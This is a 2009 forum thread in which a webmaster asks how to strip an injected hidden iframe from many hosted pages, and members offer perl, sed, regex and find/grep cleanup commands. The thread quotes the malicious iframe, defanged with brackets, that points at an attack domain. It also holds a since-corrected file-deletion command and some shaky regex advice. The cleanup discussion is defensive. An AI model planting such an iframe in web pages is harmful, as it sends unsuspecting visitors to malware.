Register - Login
Views: 99800168
Main - Memberlist - Active users - Calendar - Wiki - IRC Chat - Online users
Ranks - Rules/FAQ - Stats - Latest Posts - Color Chart - Smilies
05-03-22 06:33:33 AM
Jul - Computers and Technology - remove iframe injection New poll - New thread - New reply
Next newer thread | Next older thread
yde

Cobrat
Level: 54


Posts: 279/660
EXP: 1178154
For next: 55716

Since: 02-12-09

From: california

Since last post: 8.3 years
Last activity: 8.2 years

Posted on 10-24-09 04:47:39 PM Link | Quote

a number of sites I host got hit with some iframe code that leads the viewer to some malicious website. a ton of my pages have been infected, and while it's not hard to locate and delete the same line over and over, it's incredibly time consuming. is there a script or something where I can have all of my infected pages edited quickly?

____________________

fleepa | pandora | last.fm

VideoGuy
Member
Level: 22


Posts: 57/84
EXP: 53006
For next: 5344

Since: 05-10-09


Since last post: 12.0 years
Last activity: 9.9 years

Posted on 10-24-09 07:31:26 PM Link | Quote
I know several HTML editors have a Find-and-Replace feature, can you just use that?
yde

Cobrat
Level: 54


Posts: 280/660
EXP: 1178154
For next: 55716

Since: 02-12-09

From: california

Since last post: 8.3 years
Last activity: 8.2 years

Posted on 10-24-09 07:37:56 PM Link | Quote

I want something to go through all the files on my server, I don't want to have to open every single file myself

____________________

fleepa | pandora | last.fm

neotransotaku
Member
wonders why OSX does not come with their version of MSPaint?
Level: 53


Posts: 539/603
EXP: 1084692
For next: 72427

Since: 08-24-07

From: The Landmark @ One Market

Since last post: 2.6 years
Last activity: 41 days

Posted on 10-24-09 07:47:04 PM Link | Quote
There is a UNIX utility called sed that can replace text in a file. Couple that with a recursive bash script and you have what you want. The only requirement is that if your server allows you terminal or SSH support. How is your server setup?
yde

Cobrat
Level: 54


Posts: 281/660
EXP: 1178154
For next: 55716

Since: 02-12-09

From: california

Since last post: 8.3 years
Last activity: 8.2 years

Posted on 10-24-09 08:56:01 PM Link | Quote

oh rad. my server allows ssh support, yeah. what steps should I take to make this happen

____________________

fleepa | pandora | last.fm

Colin
Missing: One avatar. Will be restored at some point.

Post 4399/10052
Active
8.3 years ago
Posted on 10-25-09 12:30:30 AM Link | Quote
Good thing I heard about this before going to do some maintenance there tonight...

Did you do a Google search for the string in question? I'm sure that + a quick SSH tutorial = success.

(Honestly, there should be some sort of online virus scan for websites themselves.)

____________________
yde

Cobrat
Level: 54


Posts: 282/660
EXP: 1178154
For next: 55716

Since: 02-12-09

From: california

Since last post: 8.3 years
Last activity: 8.2 years

Posted on 10-25-09 01:05:51 AM Link | Quote

I've been searching but haven't been able to find an easy solution to clean it out.

also, your site is fine, it's only the sites that could be accessed through my ftp account. so nothing to worry about.

____________________

fleepa | pandora | last.fm

Lyskar
12210
-The Chaos within trumps the Chaos without-
Level: 192


Posts: 3570/12211
EXP: 99320936
For next: 552635

Since: 07-03-07

From: 52-2-88-7

Since last post: 7.4 years
Last activity: 7.3 years

Posted on 10-25-09 01:48:52 AM Link | Quote

Time/Date

&date&

Posts

&numposts&

Days Here

&numdays&

Level

&level&
Metal_Man88
Local Moderator
Regexes can clear it all out. Add in a text editor which can do regexes across many pages, then just set a regex with the right setup to match all the iframes... BAM! Gone.

Only issue is regex is difficult to program in and one would need to know what the iframe looks like and... etc.

But if you got a multi-file search and replace text editor it'd help muchly.

____________________
Original Layout © Tobias Kelmandia
neotransotaku
Member
wonders why OSX does not come with their version of MSPaint?
Level: 53


Posts: 543/603
EXP: 1084692
For next: 72427

Since: 08-24-07

From: The Landmark @ One Market

Since last post: 2.6 years
Last activity: 41 days

Posted on 10-25-09 08:22:10 AM (last edited by neotransotaku at 10-25-09 05:24 AM) Link | Quote
can you post a snippit of the offending code somehow? we can then help you out with the script if we know what we want to substitute.
yde

Cobrat
Level: 54


Posts: 285/660
EXP: 1178154
For next: 55716

Since: 02-12-09

From: california

Since last post: 8.3 years
Last activity: 8.2 years

Posted on 10-25-09 01:38:50 PM (last edited by yde at 10-25-09 10:42 AM) Link | Quote

I don't know how to post this without my antivirus freakin out, so I replaced the ends with brackets

[iframe src="http://davtraff.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no][/iframe]

____________________

fleepa | pandora | last.fm

neotransotaku
Member
wonders why OSX does not come with their version of MSPaint?
Level: 53


Posts: 544/603
EXP: 1084692
For next: 72427

Since: 08-24-07

From: The Landmark @ One Market

Since last post: 2.6 years
Last activity: 41 days

Posted on 10-25-09 04:48:56 PM Link | Quote
In each directory, run the following:


for i in *.php ; do perl -pi -e "s/iframe/nulltag/g" $i ; done



Hopefully, you do not have too many directories. All this script does is change iframe to a dummy HTML tag; causing the tag to be ignored and not processed (therefore, no injection effects). Over time, you can remove each of the iframes as you update these pages. If you want complete removal, then I'll need to come up with something different.
yde

Cobrat
Level: 54


Posts: 286/660
EXP: 1178154
For next: 55716

Since: 02-12-09

From: california

Since last post: 8.3 years
Last activity: 8.2 years

Posted on 10-25-09 05:29:16 PM Link | Quote

I don't need complete removal right now, that'll be fine. where do I run this exactly? I'm not really knowledgeable with this sort of stuff.

____________________

fleepa | pandora | last.fm

neotransotaku
Member
wonders why OSX does not come with their version of MSPaint?
Level: 53


Posts: 545/603
EXP: 1084692
For next: 72427

Since: 08-24-07

From: The Landmark @ One Market

Since last post: 2.6 years
Last activity: 41 days

Posted on 10-25-09 06:53:13 PM Link | Quote
In each directory that contains your php files.

Do you have an SSH client such as putty? Once you log in, you are given a prompt like "lem5202@pentium2-400 ~ > " and enter in commands like "ls" to give a listing of the files and directories.

To change into a directory named "myfiles", you'd just type "cd myfiles" and press enter. Your prompt may change to "lem5202@pentium2-400 ~/myfiles > " to reflect which directory you are in. I'm not sure how your webserver is structured so I can't give you more specific commands.
Lyskar
12210
-The Chaos within trumps the Chaos without-
Level: 192


Posts: 3573/12211
EXP: 99320936
For next: 552635

Since: 07-03-07

From: 52-2-88-7

Since last post: 7.4 years
Last activity: 7.3 years

Posted on 10-25-09 07:18:49 PM (last edited by Metal_Man88 at 10-25-09 04:19 PM) Link | Quote

Time/Date

&date&

Posts

&numposts&

Days Here

&numdays&

Level

&level&
Metal_Man88
Local Moderator
A single regex can just obliterate these.

<iframe src="http://davtraff.com/[^>]+>

Then just tell it to replace them all with a blank space.

Assuming nobody uses the offending url in their tags, this will surgically destroy the injected iFrames.

Of course, you might need a multi-file opening device. Try jEdit and open all the files, then run the regex on all of them, then 'save all.'

____________________
Original Layout © Tobias Kelmandia
neotransotaku
Member
wonders why OSX does not come with their version of MSPaint?
Level: 53


Posts: 546/603
EXP: 1084692
For next: 72427

Since: 08-24-07

From: The Landmark @ One Market

Since last post: 2.6 years
Last activity: 41 days

Posted on 10-26-09 05:40:45 AM (last edited by neotransotaku at 10-26-09 02:41 AM) Link | Quote
regexs are nice until you have to deal with newlines...then that is where things break down, at least it is why I didn't give yde the command to remove them completely because I couldn't get tags that span multiple lines eliminated. the /s modifier in perl's substitution doesn't want to cooperate with the example file I was using. I mean, it should just be "s/<iframe.+>//gs" right?
Lyskar
12210
-The Chaos within trumps the Chaos without-
Level: 192


Posts: 3580/12211
EXP: 99320936
For next: 552635

Since: 07-03-07

From: 52-2-88-7

Since last post: 7.4 years
Last activity: 7.3 years

Posted on 10-26-09 06:18:42 AM Link | Quote

Time/Date

&date&

Posts

&numposts&

Days Here

&numdays&

Level

&level&
Metal_Man88
Local Moderator
That's what the [^>]+ thing is for; it just matches anything (newlines included) which is not a > .

I'm not quite sure, I believe s is for saving the info (like using $1 or /1), I don't really bother much with perl's outer syntax bits. I prefer to use negated character classes to make wide-reaching, indiscriminate matches.

With that in mind, the downside to my approach would be any malformed iframe tag might cause it to eat some data, so I'd be careful about that.

____________________
Original Layout © Tobias Kelmandia
groundswells
Random nobody
Level: 4


Posts: 1/2
EXP: 191
For next: 88

Since: 10-27-09


Since last post: 12.5 years
Last activity: 12.5 years

Posted on 10-27-09 03:15:26 PM Link | Quote
I have a friend with a dreamhost account that had all their domains hacked this same way. By any chance are you a dreamhost customer as well and was the timestamp on the changed files 10/23 16:31? I'm not finding from apache logs, anything around this timestamp and nothing in the authentication logs for my user.

On the side of a solution, from a shell account in the directory you want to find the files:

find ./ -type f | while read ; do grep -l davtraff "$REPLY" ; done > davtraff.txt
cat davtraff.txt | while read ; do perl -ni.bak -e 'print unless /davtraff/;' "$REPLY" ; done

Since this line is added to the end of the file, you can wack any line with 'davtraff' (granted you don't use davtraff in your real code anywhere). The first line will find all the files with davetraff in them. The second line will take the list of files generated from the first line and then remove line with davtraff in it, while creating a .bak backup file just in case.

If you are happy with the results you could then run:

cat davtraff.txt | while read ; do rm "$REPLY" ; done
or
cat davtraff.txt | while read ; do mv "$REPLY" ; done

groundswells
Random nobody
Level: 4


Posts: 2/2
EXP: 191
For next: 88

Since: 10-27-09


Since last post: 12.5 years
Last activity: 12.5 years

Posted on 10-28-09 01:12:12 AM Link | Quote
Originally posted by groundswells

If you are happy with the results you could then run:

cat davtraff.txt | while read ; do rm "${REPLY}.bak" ; done
or
cat davtraff.txt | while read ; do mv "${REPLY}.bak" ; done



Corrected that horrible last clean up suggestion as what is in the original post would have deleted the live corrected version.

btw, I found my hacker. They uploaded a php shell program a few months ago named doc.php that was used to add that iframe line.
Swami
Random nobody
Level: 4


Posts: 1/2
EXP: 191
For next: 88

Since: 11-04-09


Since last post: 12.5 years
Last activity: 12.5 years

Posted on 11-04-09 09:54:52 PM Link | Quote
Use at your own risk.

Get FileZilla, install it, choose VIEW, then Filename Filters. Click "Edit Filter Rules" and make a new rule with the following options:
Filter conditions - Filter out items matching none of the following
Filename ends with .htm
Filename ends with .html

Apply the filter and you can download your entire catalog of .htm* files.

Get NoteTab Light and use the expanded trial features. Open NoteTab Light and hit CTRL+D to open the Search Text dialog. Choose the "Replace in Files" tab. Copy/paste in the offending code string into the "Find what" blank. Check the Subdirectories box. Browse to the folder where you downloaded all your .htm* files. Click Start. It will locate all files that have the bad string in them. Choose to Replace. You now have clean files.

Upload them to your server and enjoy.

Make sure you reset all your FTP account passwords prior to doing this, and back up everything!

Swami
Swami
Random nobody
Level: 4


Posts: 2/2
EXP: 191
For next: 88

Since: 11-04-09


Since last post: 12.5 years
Last activity: 12.5 years

Posted on 11-04-09 09:55:57 PM Link | Quote
Oh, also in the Filezilla filter, uncheck FOLDERS so that folders show up. You only want to filter FILES.

Swami
Next newer thread | Next older thread
Jul - Computers and Technology - remove iframe injection New poll - New thread - New reply


Rusted Logic

Acmlmboard - commit 47be4dc [2021-08-23]
©2000-2022 Acmlm, Xkeeper, Kaito Sinclaire, et al.

31 database queries, 12 query cache hits.
Query execution time: 0.103065 seconds
Script execution time: 0.045069 seconds
Total render time: 0.148134 seconds